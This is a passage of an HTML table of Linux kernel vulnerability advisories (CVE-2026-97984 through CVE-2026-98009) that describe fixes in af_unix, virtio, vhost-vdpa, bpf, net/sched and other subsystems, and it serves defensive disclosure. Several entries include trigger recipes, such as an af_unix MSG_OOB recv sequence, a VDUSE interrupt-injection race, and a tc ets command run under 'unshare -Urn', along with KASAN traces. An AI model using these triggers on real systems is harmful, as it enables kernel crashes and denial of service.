ip6_dst_mtu_maybe_forward&quot;), which is chosen as the Fixes tag here. The overflow with IPV6_PMTUDISC_PROBE reproduces since its introduction in commit 628a5c561890 (&quot;[INET]: Add IP(V6)_PMTUDISC_RPOBE&quot;).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97984&quot; target=&quot;_blank&quot;&gt;CVE-2026-97984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: af_unix: Update last skb marker in manage_oob(). Fahad Alharbi reported that blocking recv(MSG_PEEK) could hog CPU due to OOB skb. In the following cases, manage_oob() skips OOB skb(s) and returns NULL for the last recv(MSG_PEEK): socketpair(AF_UNIX, SOCK_STREAM, 0, sk); 1) skb -&amp;gt; OOB skb -&amp;gt; NULL send(sk[0], &quot;ab&quot;, 2, MSG_OOB); recv(sk[1], buf, 0, MSG_PEEK); 2) skb -&amp;gt; consumed OOB skb -&amp;gt; NULL send(sk[0], &quot;ab&quot;, 2, MSG_OOB); recv(sk[1], buf, 1, MSG_OOB); recv(sk[1], buf, 0, MSG_PEEK); 3) consumed OOB skb -&amp;gt; OOB skb -&amp;gt; NULL send(sk[0], &quot;a&quot;, 1, MSG_OOB); recv(sk[1], buf, 0, MSG_OOB); send(sk[0], &quot;b&quot;, 1, MSG_OOB); recv(sk[1], buf, 1, MSG_PEEK); Then, @copied is 0 in unix_stream_read_generic() (zero-length buffer, or non-OOB skb is not yet consumed), and unix_stream_data_wait() is called. However, it returns immediately because @last is not updated in unix_stream_read_generic(), and the thread busy-waits for a new skb. Let&#039;s update @last in manage_oob(). For MSG_PEEK, @last is updated with the skipped OOB, and for the non-peek case, @last matches the returned value (when !copied) because OOB is unlinked. Note that manage_oob() is inlined and no stack canary is added.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97985&quot; target=&quot;_blank&quot;&gt;CVE-2026-97985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio_input: stop callbacks before unregistering input device virtinput_remove() unregisters the input device before resetting the virtio device. virtinput_recv_events() drops vi-&amp;gt;lock around input_event(), so clearing vi-&amp;gt;ready does not stop a callback that passed the entry check. It can still use vi-&amp;gt;idev, requeue buffers and kick the queue. Reset first, as virtinput_freeze() already does. With the preceding core change, reset waits for callbacks before input_unregister_device() can free vi-&amp;gt;idev. Recheck vi-&amp;gt;ready after taking the lock again: keep draining completed events so an input packet is not truncated, but stop requeueing buffers and kicking the queue. With evdev attached, input_unregister_handle() currently waits for an RCU grace period, which also waits out IRQ callbacks. This masks the lifetime bug on PCI and MMIO, but does not protect sleepable callbacks on other transports.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97986&quot; target=&quot;_blank&quot;&gt;CVE-2026-97986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio_input: reset device if input_register_device() fails Probe marks the device DRIVER_OK with virtio_device_ready() before calling input_register_device(). If registration fails, the error path cleared vi-&amp;gt;ready and called del_vqs() while the device was still live, so the device could keep DMA to queues that were already torn down. Match remove/freeze: call virtio_reset_device() on that path before tearing down the virtqueues.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97987&quot; target=&quot;_blank&quot;&gt;CVE-2026-97987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vhost: invalidate vring access on IOTLB transitions When VIRTIO_F_ACCESS_PLATFORM changes, cached vring pointers and IOTLB metadata are interpreted in a different address space. Keeping them across the transition can leave stale ring mappings in use. Clearing d-&amp;gt;iotlb before taking the VQ locks also lets a worker observe a transient NULL d-&amp;gt;iotlb and fall back to d-&amp;gt;umem while translating a descriptor. Add a common vhost_clear_device_iotlb() helper for vhost-net and vhost-vsock. Take all VQ mutexes in index order before dropping the device-wide IOTLB, invalidate each VQ&#039;s cached ring access and metadata, clear pending IOTLB messages, and free the old table after the handoff. This serializes the transition with workers and prevents mixed address space mappings. On the first direct-to-IOTLB transition, invalidate the cached vring addresses. When an existing device IOTLB is replaced, preserve the GIOVA ring addresses and reset only the metadata cache. After clearing ACCESS_PLATFORM, userspace must configure the vring addresses for the new address mode. vhost_vq_invalidate_access() clears desc, avail, and used together. Treat the VQ as invalidated only when all three are NULL, since a single GIOVA address may legitimately be zero.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97988&quot; target=&quot;_blank&quot;&gt;CVE-2026-97988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vduse: validate virtqueue alignment vduse_validate_config() only checks the upper bound of vq_align. Invalid values can therefore reach vring_create_virtqueue_map(). The split-ring helpers use align - 1 as a bit mask, so the alignment must be a non-zero power of two. A zero value makes vring_size() drop the descriptor and available-ring part and vring_init() leave the used ring pointer NULL. The VIRTIO spec requires the used ring to start at an address aligned to at least 4 bytes. Reject values below VRING_USED_ALIGN_SIZE as well as non-power-of-two values before they reach the virtio ring helpers. Opening a virtio-net device created with vq_align=0 triggered: BUG: KASAN: null-ptr-deref in virtqueue_kick_prepare_split+0xe3/0x100 Read of size 2 at addr 0000000000000000 by task systemd-network/1062 Call Trace (relevant frames): dump_stack_lvl print_report kasan_report __asan_load2 virtqueue_kick_prepare_split+0xe3/0x100 virtqueue_kick_prepare+0x40/0x60 try_fill_recv+0x857/0x1250 virtnet_open+0x189/0x460 __dev_open+0x225/0x390 __dev_change_flags+0x368/0x3b0 netif_change_flags+0x56/0xc0 do_setlink.isra.0+0x68c/0x1e30 Validate the value before it reaches the virtio ring helpers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97989&quot; target=&quot;_blank&quot;&gt;CVE-2026-97989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vhost-vdpa: protect config_ctx from being freed under the config callback vhost_vdpa_config_cb() loads v-&amp;gt;config_ctx and signals it without taking a reference and without holding any lock: struct eventfd_ctx *config_ctx = v-&amp;gt;config_ctx; if (config_ctx) eventfd_signal(config_ctx); VHOST_VDPA_SET_CONFIG_CALL replaces that field and drops what is normally the last reference to the old context: swap(ctx, v-&amp;gt;config_ctx); if (ctx) eventfd_ctx_put(ctx); eventfd_ctx_put() drops the last kref and frees the context immediately, with no RCU grace period, so a callback that has already loaded the pointer goes on to dereference freed memory. The two sides share no lock: the ioctl runs under vhost_dev.mutex, while the parent invokes the callback from its own interrupt or workqueue context. This is not the reopen refcount underflow fixed by commit f6bbf0010ba0 (&quot;vhost-vdpa: fix use-after-free of v-&amp;gt;config_ctx&quot;), which was about vhost_vdpa_config_put() leaving a stale pointer behind. Here the pointer is maintained correctly and it is the read side that is unprotected. With VDUSE as the parent this is reachable from userspace with access to /dev/vduse (root by default). VDUSE_DEV_INJECT_CONFIG_IRQ queues dev-&amp;gt;inject, and vduse_dev_irq_inject() runs the callback under VDUSE&#039;s own dev-&amp;gt;irq_lock, which vhost does not hold. vduse_dev_reset() does flush_work(&amp;amp;dev-&amp;gt;inject), but VHOST_VDPA_SET_CONFIG_CALL never goes through reset, so an inject already in flight is not waited for. A process that injects config interrupts on the VDUSE fd while another thread swaps the call fd on the vhost-vdpa fd hits it in seconds: BUG: KASAN: slab-use-after-free in native_queued_spin_lock_slowpath Read of size 4 at addr ffff888107d21808 by task kworker/u17:1/2993 Workqueue: vduse-irq vduse_dev_irq_inject Call Trace: native_queued_spin_lock_slowpath+0x97/0x5b0 _raw_spin_lock_irqsave+0xd4/0xe0 eventfd_signal_mask+0x69/0x120 vhost_vdpa_config_cb+0x34/0x50 vduse_dev_irq_inject+0x46/0x60 process_one_work+0x468/0x950 Allocated by task 2992: do_eventfd+0x50/0x200 __x64_sys_eventfd2+0x2e/0x40 Freed by task 2992: eventfd_ctx_put+0xb9/0xc0 vhost_vdpa_unlocked_ioctl+0x116c/0x2190 Add a spinlock covering every access to config_ctx, so the callback either signals a context that is still alive or observes NULL, and the put happens only once no callback can reach the old value. Clearing the parent&#039;s callback before the put would not be enough: of the in-tree set_config_cb() implementations only VDUSE takes a lock, the rest store the pointer unlocked, so that would not order against an in-flight invocation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97992&quot; target=&quot;_blank&quot;&gt;CVE-2026-97992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vhost-vdpa: don&#039;t install the eventfd_ctx_fdget() error in config_ctx vhost_vdpa_set_config_call() swaps the eventfd_ctx_fdget() return value into v-&amp;gt;config_ctx before checking it, so on failure the field briefly holds an ERR_PTR: ctx = fd == VHOST_FILE_UNBIND ? NULL : eventfd_ctx_fdget(fd); swap(ctx, v-&amp;gt;config_ctx); if (!IS_ERR_OR_NULL(ctx)) eventfd_ctx_put(ctx); if (IS_ERR(v-&amp;gt;config_ctx)) { long ret = PTR_ERR(v-&amp;gt;config_ctx); v-&amp;gt;config_ctx = NULL; return ret; } Commit 0bde59c1723a (&quot;vhost-vdpa: set v-&amp;gt;config_ctx to NULL if eventfd_ctx_fdget() fails&quot;) added that clearing, and spelled out the invariant the rest of the file relies on: &quot;we consider &#039;v-&amp;gt;config_ctx&#039; valid if it is not NULL&quot;. The window between the swap and the clearing still breaks it. vhost_vdpa_config_cb() only tests for NULL, so a config interrupt delivered inside the window hands the ERR_PTR to eventfd_signal(). Check the fd before installing it instead. That closes the window and matches how vhost_vring_ioctl() handles the same failure for the vq call fd. It also stops a rejected fd from tearing down a config interrupt that was working: until now the swap replaced the live context and put it, so after an EBADF the device silently stopped delivering config interrupts until userspace installed a new fd.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97993&quot; target=&quot;_blank&quot;&gt;CVE-2026-97993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vhost/vdpa: reject VRING_NUM larger than device max vhost_vring_set_num() accepts any non-zero power-of-two queue size that fits in 16 bits. vhost-vdpa then passes that value to set_vq_num() without comparing it with get_vq_num_max(). A process with access to /dev/vhost-vdpa-* can therefore configure a queue larger than the device advertises. With vdpa_sim, the worker can walk descriptors beyond the mapped descriptor ring. KASAN reports a 16-byte out-of-bounds read, corresponding to one vring_desc, in the vringh IOTLB path: BUG: KASAN: out-of-bounds in _copy_from_iter Read of size 16 copy_from_iotlb copydesc_iotlb vringh_getdesc_iotlb vdpasim_net_work Cache get_vq_num_max() immediately after reset. Some backends derive it from writable queue-size state, so querying it after SET_NUM may return the current size instead of the device capability. Invalidate the cached value before reset so a failed reset leaves SET_NUM disabled. For VHOST_SET_VRING_NUM, copy the complete vring state once and use the same index and size for validation, vq-&amp;gt;num, and set_vq_num(). This ensures that validation and use operate on the same copied values.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97994&quot; target=&quot;_blank&quot;&gt;CVE-2026-97994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio_console: do not free control-out buffers on remove __send_control_msg() publishes &amp;amp;portdev-&amp;gt;cpkt as the control-out virtqueue cookie. remove_vqs() walks every virtqueue and passes leftover cookies to free_buf(), which treats them as struct port_buffer and reads sgpages. If a control message is still on c_ovq when the device is unbound, free_buf() reads past the ports_device object. KASAN reported slab-out-of-bounds in free_buf(): free_buf remove_vqs virtcons_remove unbind_store The object was the ports_device allocated in virtcons_probe(). Drain c_ovq without freeing. The packet lives in portdev and is released with it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97995&quot; target=&quot;_blank&quot;&gt;CVE-2026-97995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio: fix use-after-free in unregister_virtio_device() device_unregister() is device_del() plus put_device(). When the caller holds no extra reference, that drops the last one and runs the release callback, which for several transports frees the memory the embedded struct virtio_device sits in. unregister_virtio_device() then calls virtio_debug_device_exit(), which reads dev-&amp;gt;debugfs_dir out of the freed object. Affected transports are the ones whose release callback frees and whose remove path takes no reference: virtio_mmio, virtio_vdpa, virtio_uml, mlxbf-tmfifo and virtio_ccw. virtio_pci is unaffected because virtio_pci_remove() brackets the call with get_device() and put_device(). Remove the debugfs entries before the device can go away. They are only accessed through the protected debugfs interface, so debugfs_remove_recursive() waits for in-progress file operations before returning. Tearing them down while the device is still alive is therefore safe. Reproduced on User-Mode Linux with CONFIG_KASAN and CONFIG_VIRTIO_DEBUG by unbinding a virtio-uml device: BUG: KASAN: slab-use-after-free in virtio_debug_device_exit+0x36/0x4d Read of size 8 at addr 00000000616e0b10 by task init/1 __asan_report_load8_noabort virtio_debug_device_exit+0x36/0x4d unregister_virtio_device+0x48/0x75 virtio_uml_remove platform_remove device_release_driver_internal unbind_store Freed by task 1: kfree virtio_uml_release_dev device_release kobject_put put_device device_unregister With this applied, the report is gone and unbind is clean.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97996&quot; target=&quot;_blank&quot;&gt;CVE-2026-97996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio_ring: fix stale descriptor flags after a failed packed add In a packed ring the AVAIL and USED bits sit in the descriptor itself, so writing them makes that descriptor available. Those bit combinations flip meaning on every round of the ring, tracked by a wrap counter, so invalidating or validating a descriptor means inverting both bits. Commit 1ce9e6055fa0 (&quot;virtio_ring: introduce packed ring support&quot;) has virtqueue_add_packed() make every descriptor of a chain available as it maps the chain, and write the head last. The device consumes the ring in order and stops at a head that is not available yet, so it never reaches the rest. When vring_map_one_sg() fails partway, unmap_release unmaps the segments and restores avail_used_flags, but the descriptors it wrote to in the ring stay marked with AVAIL and USED bits. The head is now the only entry that keeps the device from consuming these stale entries. For example, the ring would look like this now. Z - pre-previous command A - previous command B - aborted command C - current command [A1 DONE] [A2 DONE] &amp;lt;C1 EMPTY&amp;gt; [B2] [B3] [Z1 DONE] When the driver now attempts to issue the C command, the next add starts at the same head as B. If C spans less descriptors than B, there is no end marker because AVAIL and USED bits were still in place. And that means the device will start interpreting these stale entries (B2/B3) as another command entry, which then blocks the queue. This effect typically happens in swiotlb configurations under memory pressure, because vring_map_one_sg() can then fail with larger I/O requests which then leads to command abortions. There are broadly 2 ways to avoid leaving those flags behind: 1) Defer those flags too until the chain is complete. 2) Rewrite those flags for the previous wrap counter. Implement the second option in both packed add paths. The first option traverses the chain a second time on every successful add. The second option invalidates all added descriptors when any add fails. With this patch applied, a packed virtqueue keeps completing requests after a failed add.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97997&quot; target=&quot;_blank&quot;&gt;CVE-2026-97997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_log: cope with concurrent instance destruction Instances are refcounted. However, only memory release happens on the 1 -&amp;gt; 0 transition; the unlink from hashes can occur with any refcount. Uncooperative userspace can force a situation where a queue is pending for destruction from netlink event while a different socket with same portid processes an UNBIND request. With right timing, this will unhash the instance again: Oops: general protection fault, [..] Call Trace: &amp;lt;TASK&amp;gt; nfulnl_recv_config+0x31a/0xd50 nfnetlink_rcv_msg+0x7c2/0xeb0&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97998&quot; target=&quot;_blank&quot;&gt;CVE-2026-97998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwmon: Fix potential UAF in pec_store Sashiko reports: In pec_store(), a guard(mutex)(&amp;amp;hwdev-&amp;gt;lock) is taken. If the chip write operation returns an error other than -EOPNOTSUPP, the code jumps to the put label, which calls put_device(hdev). If this drops the final reference, the device is freed. When the function then returns, the guard cleanup function runs and attempts to unlock the freed mutex. Use scoped_guard() instead of guard() to avoid the problem.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98000&quot; target=&quot;_blank&quot;&gt;CVE-2026-98000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwmon: (ltc4282) Make sure clk_init_data is fully initialized The clk_init_data structure contains several mutually-exclusive members for different methods to specify the possible parents of a clock, prompting drivers to initialize only the members they need. However, not initializing all members may cause subtle issues, which are only exposed when CONFIG_INIT_STACK_ALL_PATTERN or CONFIG_INIT_STACK_NONE is enabled. ltc428_clk_provider_setup() does not fill in any parent clocks, and assumes that init.num_parents is NULL. However, the latter in uninitialized, and thus may cause a crash. Make sure all members are fully initialized, to fix such bugs, and to avoid future breakage when converting drivers to a different method for specifying the parents.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98001&quot; target=&quot;_blank&quot;&gt;CVE-2026-98001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/amd: Do not reallocate GA log buffers on resume Commit c5e1a1eb9279 (&quot;iommu/amd: Simplify and Consolidate Virtual APIC (AVIC) Enablement&quot;) moved the GA log allocation from iommu_init_pci() to enable_iommus_vapic(), which is called on every resume. iommu_init_ga_log() assigns iommu-&amp;gt;ga_log and iommu-&amp;gt;ga_log_tail unconditionally. Each resume therefore replaces the boot-time pointers and leaks both old allocations. The function also uses GFP_KERNEL from a syscore resume callback, where interrupts are disabled and the non-boot CPUs are offline. Return early if both buffers are already allocated. Clear the pointers in free_ga_log() so a partial allocation failure cannot leave ga_log dangling.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98003&quot; target=&quot;_blank&quot;&gt;CVE-2026-98003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/riscv: Serialize command queue publishing Serialize command queue publishing so software producer state advances only after a command is written and the hardware tail is updated. Wait for hardware consumption outside the queue lock when the command queue is full so other CPUs are not blocked behind a long poll.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98004&quot; target=&quot;_blank&quot;&gt;CVE-2026-98004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: erofs: delimit inode_share cache key components Previously, inode_share keys were encoded as follows: fingerprint || domain_id It would be better to have a separator between the fingerprint and domain ID so that the fingerprint won&#039;t be parsed as part of a domain ID. Change the key encoding as follows: domain_id || &#039;\0&#039; || fingerprint Since domain_id is a NUL-terminated string, this makes the in-memory key indices unambiguous.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98005&quot; target=&quot;_blank&quot;&gt;CVE-2026-98005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: caiaq: Decoupling ep1_in_urb in caiaq dev The epq_in_urb object belonging to the caiaq device is coupled within the struct snd_usb_caiaqdev. After usb_submit_urb(epq_in_urb, GFP_KERNEL) executes successfully, epq_in_urb is successfully added to the urbp_list queue of the dummy HCD driver (userspace specifies dummy_hcd as the HCD layer driver for the caiaq USB device). When init_card() calls snd_usb_caiaq_send_command() which subsequently fails due to a timeout, and proceeds to call snd_card_free() to release the card, the embedded ep1_in_urb object is also freed. When the dummy HCD driver detects that the URB has been unlinked, it returns the URB (by usb_hcd_giveback_urb()), which triggers [1]. Decouple the ep1_in_urb object from the struct snd_usb_caiaqdev and switch to using a pointer instead. Separately allocate and manage the memory for ep1_in_urb to prevent the release of the snd_card memory object from interfering with it. midi_out_urb has the same issue as ep1_in_urb and is handled in the same way. [1] BUG: KASAN: slab-use-after-free in usb_free_urb+0x24/0x120 drivers/usb/core/urb.c:96 Write of size 4 at addr ffff88803cee1050 by task ktimers/1/29 Call Trace: usb_free_urb+0x24/0x120 drivers/usb/core/urb.c:96 dummy_timer+0xaac/0x4d50 drivers/usb/gadget/udc/dummy_hcd.c:2019 __run_hrtimer kernel/time/hrtimer.c:2067 [inline] __hrtimer_run_queues+0x3eb/0xaf0 kernel/time/hrtimer.c:2124 hrtimer_run_softirq+0x1e1/0x2e0 kernel/time/hrtimer.c:2141 Allocated by task 36: snd_card_new+0x7b/0x110 sound/core/init.c:184 create_card sound/usb/caiaq/device.c:429 [inline] snd_probe+0x236/0x1af0 sound/usb/caiaq/device.c:544 Freed by task 36: snd_card_free_when_closed sound/core/init.c:630 [inline] snd_card_free+0x138/0x1d0 sound/core/init.c:662 snd_probe+0x162b/0x1af0 sound/usb/caiaq/device.c:553&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98006&quot; target=&quot;_blank&quot;&gt;CVE-2026-98006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject non-scalar bpf_loop iteration counts bpf_loop() declares its nr_loops argument as ARG_ANYTHING. Privileged programs may pass pointer values to such arguments, so check_func_arg() lets a pointer-valued R1 reach the helper-specific checks. Since commit bb124da69c47 (&quot;bpf: keep track of max number of bpf_loop callback iterations&quot;), the verifier marks R1 precise and reads its upper bound to limit callback simulation. Precision backtracking only accepts scalar registers, so passing a pointer instead triggers the &quot;backtracking misuse&quot; verifier warning. Kernels with panic_on_warn enabled subsequently panic. Introduce ARG_SCALAR for helper arguments that only accept scalar values and use it for bpf_loop() nr_loops. Generic helper argument validation then rejects pointers before loop inlining and precision processing.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98007&quot; target=&quot;_blank&quot;&gt;CVE-2026-98007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: macb: fix NULL pointer dereference on unbind with fixed-link When the device tree describes a fixed-link and has no &quot;mdio&quot; child node, macb_mii_init() returns early without allocating the MDIO bus, leaving bp-&amp;gt;mii_bus as NULL. Two cleanup paths then dereference this NULL bus: 1. On driver unbind, macb_remove() unconditionally calls mdiobus_unregister(bp-&amp;gt;mii_bus), which oopses: Unable to handle kernel NULL pointer dereference at virtual address 00000000000004a8 pc : mdiobus_unregister+0x14/0xa4 lr : macb_remove+0x38/0xa4 Call trace: mdiobus_unregister+0x14/0xa4 (P) macb_remove+0x38/0xa4 platform_remove+0x20/0x30 device_release_driver_internal+0x1c8/0x224 unbind_store+0xb4/0xbc 2. On the probe error path in macb_probe(), reached when macb_mii_init() has succeeded but a subsequent step fails, the err_out_unregister_mdio label runs the same unconditional cleanup. mdiobus_unregister() and mdiobus_free() do not guard against a NULL bus, so guard the calls in both macb_remove() and the probe error path.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98008&quot; target=&quot;_blank&quot;&gt;CVE-2026-98008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: clamp quantum in parse and fallback paths ets_qdisc_change() falls back to psched_mtu() with no floor for bands without an explicit quantum. With a crafted size table qdisc_pkt_len reaches ~2 GiB, so a zero psched_mtu on a headerless device makes the deficit-refill loop spin under the qdisc lock. Move the floor into ets_quantum_parse() so explicitly configured quanta are also clamped to [256, 1&amp;lt;&amp;lt;20], not just the fallback path. Conditions to recreate the bug: CONFIG_NET_SCH_ETS=y. Requires CAP_NET_ADMIN (namespace-local via unshare -Urn suffices). tc qdisc add dev dummy0 root ets bands 3 strict 2 quanta 1 1&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98009&quot; target=&quot;_blank&quot;&gt;CVE-2026-98009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
